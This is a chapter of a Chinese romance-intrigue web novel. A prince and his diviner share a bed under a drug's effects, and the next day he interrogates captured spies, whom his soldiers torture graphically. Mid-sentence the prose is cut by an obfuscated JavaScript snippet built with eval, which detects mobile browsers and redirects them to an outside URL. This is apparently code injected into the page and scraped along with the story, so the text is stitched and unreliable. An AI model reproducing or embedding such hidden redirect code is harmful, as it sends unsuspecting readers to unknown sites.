这人怎么总是想到奇奇怪怪的地方去?
司言茉无语,却忘记抽回手。
“我的意思是我是你的巫卜,离开你去做他的谋士干什么?说不定赚得少,风险大,主子还没你好说话,得不偿失!”
“那看起来你还挺满意我这个君主的。”周言卿轻笑,嗓音低沉,亲了亲她的指尖。
司言茉触电般收回,“你……别扯东扯西的了,到底行不行?”
他却只是看着她,眸中带着让人沉溺的笑意,“你想让我帮他吗?”
“我是不想两败俱伤。你和他作对,我站在你这边,姐姐会难过,你也可能会出事,不做对,这些说不定都不会发生。”
“你就这么确定我打不过他?”周言卿挑眉。
“按命格来说,他是天命之人,你和他作对没什么意义,况且你不是不想要南皇之位,何必呢?”
“那这样,你答应我一件事,我就帮他。”他再一次拉过她的手。
“什么事?”司言茉总有一种不好的预感
“过几天云间轩有一出戏,陪我去看?”
“就这?”
“对啊,很简单吧?”
什么三皇子,南皇之位,他才不在乎,能和他的妻子一起约会才是大事。
折腾了许久,黑夜都已过半,两人干脆在军营休息。
这军营再怎样也比不得秦王府,连被褥都没有。
好在二人现在这情况,真要是宽衣解带,只怕又是一阵天雷勾地火,还是老老实实把衣服穿好。
见周言卿有直接不睡的打算,司言茉半坐在床上于心不忍,“其实穿着衣服,没关系的吧?你本来就受伤了,不休息好,身体会吃不消的。”
“关心我?”周言卿走到她身边坐下,捉住她的手,眼睛亮晶晶的,难掩喜悦。
许是夜笙歌的作用,司言茉对于他拉自己手这事已经变得习以为常,并未抽开。
“那不然呢?你难不成想让我说你死了才好?”
听她这么说,周言卿撇撇嘴,佯装愠怒,“你怎么就不能说点好听的?”
他捏了捏女人的手,“手这么软,嘴硬死了!”
司言茉被他这话弄得赧然,“那你还浑身上下都是硬的呢!”
她说得飞快,没注意到这话语中的奇异,惹得周言卿唇角勾起,俯身在她耳边轻语,“嗯,这个……倒是没错。”
温热的呼吸吐在司言茉的耳根处,那里顿时烧了起来,她慌乱推开对方,“你……你爱睡不睡!”
这夜笙歌可真是讨厌!司言茉只觉得她都不像自己了。
周言卿轻笑,也收敛了动作,毕竟再这样下去,司言茉怎样他不知道,自己只怕会比她先有反应。
“好,不闹了,你睡吧,我守着你。”
他推着司言茉躺下,拿出自己的狐裘给她盖上后,便坐在床边。
一对柔得能化成水的眼睛就那么默默注视着她,叫司言茉更不自在。
她转过身,试图不让自己在意那道视线。
黑夜,营帐外时不时传来蛙鸣,扰动她本就不安的心。
良久,司言茉败下阵来,回过身,撞上周言卿的那含情脉脉的眸子,心跳漏了一拍,“那个……你还是上来吧,睡一会儿。”
周言卿其实也困的不行,只是不想让她为难,听她这么说,顿时有了台阶,麻利爬上床,却还是克制地与她之间留下快能躺一个人的缝隙。
他一上来,司言茉又后悔了,身上那股火似乎又烧了起来,她烦躁地再次转过身准备睡觉,听到那人的呼唤,“阿茉……”
她没有应答,那人就又喊了一遍,“阿茉。”
“怎么了?”
“晚安。”
一声晚安如同一颗定心丸,驱散了片刻的燥热,她闭上眼,“嗯,晚安。”
这一夜,两人都带着那不肯退散的药性,睡得并不安稳。
迷迷糊糊间,发了一身汗的司言茉伸手去寻找能让自己凉快些的东西,直到碰触到身侧人的肌肤,终于找到了!
睡梦中的她主动抱上了周言卿,脑袋往他怀里拱汲取凉意。
她是不热了,周言卿却被身上那股□□热醒,睁开眼看到作乱的人,又欢喜又无奈,只能咬牙忍着,手悄悄环上她的腰,默默收紧。
今晚还是别睡了……
五更天明,一声公鸡的鸣叫将两人从睡梦中唤醒。
“唔,好吵……”
司言茉抬起脑袋,碎发散落在眼前,眼睛也迷迷糊糊的不愿意睁开,像极了一只刚睡醒的小猫。
周言卿见状心软得一塌糊涂,将她额间乱发拂至耳后。
不知是因为早起还是夜笙歌,他直觉嗓子发干,“练兵场养的公鸡,用来叫士兵起床的,吵到你了?”
司言茉揉了揉眼睛,点点头,这才发觉自己竟趴在周言卿的怀里,一只手还搭在人家胸口。
她慌忙起身,本就因燥热红扑扑的小脸,此时更红了,转过身去不想让对方看见。
周言卿则在她起身的一瞬间,眸底闪过一瞬失望,也起了身,叫人送来洗漱的水盆。
洗漱过后,身上残余的那点燥热总算压下去不少,周言卿想起什么,“对了,你之前告诉我的法子挺有用的,最近营中的细作被清理的差不多了,还套出几个城中的,刚好我今天要去审审,你要不要陪我一起?”
司言茉应了下来,和他一起绕过若干个营帐,来到军营中简易的祭台边。
几个细作被绑在粗木上,脸颊通红起皮,身上被皮鞭打得皮开肉绽,一看就是受了不少苦头。
这祭台与五枫关阴冷的地牢不同,连个遮阴的都没有,就这么赤裸裸的暴露在太阳底下,此时还好,等一会儿日上三竿,人就这么晒着,能活脱脱晒晕过去。
司言茉知道这是身旁这位秦王殿下的手笔,他就是这样,平日和自己斗嘴时看着只是那十几岁的少年,到了这上头,则有着常人想象不到的阴狠。
她也不是圣人,倒也不会说什么不必如此的话,只是默默站在一旁,看一旁的士兵利用鞭刑审问。
就在这时,她在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526784|186333||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其中一个细作眉峰上看到一道疤痕,“等等!”
她走过去,身后的周言卿一面疑惑,一面担心那细作伤了她,警惕地和她一起上前。
“怎么了?”
司言茉没有回复他的话,对上那细作无力睁开的眼,“那天,巷子里是你。”
她语气肯定。
上巳节那日,在巷子里,她被一个黑衣蒙面人拦住去路,对方招招逼近,纵使她和周言卿学了些防身的招式,真对上这种练家子,她还是招架不住,被对方打晕。
好在,她记下对方的眉峰处有一道疤,刚好截断浓密的眉。
闻言,周言卿也顿时反应过来,眯起眼,周身的气息变得危险。
“陈午,取我的枪来。”他声音冷冽。
在陈午拿来枪后,抬手掂了掂,眼神一凝,长□□在对方的膝上,一声痛呼瞬间响彻云霄。
殷红的血顺着那人的膝盖流下,滴入泥土,看得在场的人都是双腿一软。
“你……”司言茉呆呆地看着这一幕,心绪有些复杂。
当然,不是因为周言卿伤了一个想杀自己的人,而是惊讶于对方第一次真正在自己面前暴露这种狠戾。
虽说先前的他也不是没吓唬过自己,但与那种小打小闹不同的是,这一次,她在周言卿脸上看到了杀意。
周言卿没回她的话,而是看向那细作,手里的长枪似乎时刻准备着再给对方一击。
“你最好交代清楚齐王要你对漠巫卜做什么,还有谁知晓此事?”男人的声音冷漠得没有一丝温度,如同地狱的恶鬼。
“还有三……”司言茉本想问三皇子和此事有没有关系,却被周言卿拦住。
她不解,那细作却似看出了端倪,忍痛嗤笑:“漠巫卜声名在外,秦王殿下以为自己藏得住吗?”
闻言,周言卿手指收紧,双目锐利,看向陈午,“军中好久没有热闹看了,让所有人过来,只给他留一口气把事情交代了,剩下的,你们自己处置。”
“是。”
陈午得了命令出去,没过一会儿,只见一个又一个虎背熊腰士兵兴奋地围了上来。
“这是干什么?”司言茉疑惑。
几个为首的拿出一把小刀,一人阴恻恻地笑道:“我这把刀好久没用了,有些钝,你忍着点。”
他举起刀,拎起对方的胳膊,像是卖肉的屠夫一般,慢条斯理的下刀,从那人的肩上片下一片肉来。
有了他的开端,另外几个人也纷纷开始动作。
周围的士兵开始打赌,这细作能撑到第几下。还有人拿来纱布和药,确保这人不会因为失血过多先死了。
司言茉看着这一幕却是不寒而栗,慌乱地拉住周言卿的手,声音都有些颤抖,“那个……没必要吧。”
虽说她不是什么良善之人,但这种刑罚未免太过残忍了,更令她感到可怕的是这群人竟有着一种莫名其妙的兴奋。
她抬眸看向周言卿,那人却神色自若,仿佛眼前的一切无比寻常,“不够。”
这样都算便宜他了。